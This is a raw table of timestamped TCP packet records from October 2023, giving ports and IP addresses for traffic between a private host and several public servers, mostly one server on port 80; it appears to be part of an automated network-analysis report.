Oct 13, 2023 16:06:20.413151979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413191080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413249016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413285017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413328886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413364887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413433075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413467884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413522005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413557053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413604975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413640022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413666964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413705111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413706064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413743973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413781881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413817883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413935900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.413981915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.413990974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414027929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414047003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414089918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414119005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414156914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414186001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414221048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414259911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414294958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414357901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414395094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414444923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414480925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414515972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414550066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414607048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414635897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414644003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414669991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414710999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414747000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.414942980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.414982080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415082932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415121078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415138960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415179014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415195942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415256023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415307999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415345907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415393114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415432930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415443897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415477037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415539026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415576935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415586948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415627003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415678024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415713072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415775061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415812016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415853024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415889978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.415951014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.415986061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416032076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416069031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416198969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416238070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416245937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416271925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416316032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416352034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416405916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416443110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416493893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416536093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416582108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416621923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416654110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416688919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416764975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416800022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416836023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416871071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416903019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.416937113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.416965961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417001963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417012930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417052031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417109966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417149067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417165041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417205095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417215109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417262077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417332888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417371988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417387009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417424917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417484999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417520046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417550087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417584896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417648077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417690992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417804003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417840004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417851925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417890072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.417948961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417965889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.417989969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418000937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418059111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.418071985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.418097973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418109894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418169975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.418215990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418265104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.418308973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.418339014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.418391943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.419504881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.419540882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.419569969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.419593096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.419640064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.419691086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.420572042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.420614004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.420633078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.420674086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.420687914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.420743942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.423255920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.423274994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.423310041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.423321962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.423326969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.423377991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.424144983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.424576998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.432219982 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.432787895 CEST	49800	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.454894066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.455940962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.554322958 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:20.554420948 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:20.554488897 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:20.642245054 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:20.642271042 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:20.651304960 CEST	49794	8000	192.168.2.4	49.12.118.151
Oct 13, 2023 16:06:20.707968950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708132982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708245039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708303928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.708343029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708462954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708589077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708626986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.708626986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.708652973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708720922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708762884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.708812952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708904982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.708945036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.709296942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.709520102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.709598064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.709641933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.709975958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.710076094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.710119963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.710169077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.710278034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.710320950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.710335970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.710953951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711008072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711071968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711117983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711158037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711247921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711287975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711318016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711419106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711457968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711487055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711540937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711636066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711677074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711694956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711738110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711775064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711828947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.711865902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.711901903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712059021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712100983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.712166071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712327003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712439060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712479115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.712590933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712841988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712913036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.712913990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.712985992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713011980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713095903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713138103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713145971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713202000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713243961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713278055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713453054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713502884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713546991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713603973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713767052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713807106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713848114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.713885069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.713969946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714065075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714106083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.714296103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714565992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714613914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.714651108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714756012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714798927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.714818954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714911938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.714979887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715023994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.715085030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715327024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715375900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.715440035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715480089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.715511084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715612888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.715672970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.715835094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716394901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716666937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716713905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.716734886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716804028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716845036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.716877937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716914892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.716953993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.716983080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717020988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.717206001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717312098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717353106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.717406034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717603922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717643976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.717701912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717775106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717863083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.717900991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.718313932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718391895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718441963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.718458891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718498945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.718595982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718709946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718770981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.718838930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718924046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.718967915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.719177961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719228983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719273090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.719373941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719408989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719583988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719631910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.719665051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719782114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.719829082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.720096111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720201015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720243931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.720303059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720345974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.720376015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720464945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720514059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720515966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.720576048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.720617056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.720993042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.721007109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.721050978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.721812010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.721873999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.721919060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.721956968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722052097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722100019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.722160101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722237110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722676992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722718954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722728968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.722754955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.722781897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722805023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722889900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.722932100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.722938061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.723392963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.723442078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.723686934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.723758936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.723807096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.723839998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.723992109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.724047899 CEST	49762	80	192.168.2.4	91.215.85.17
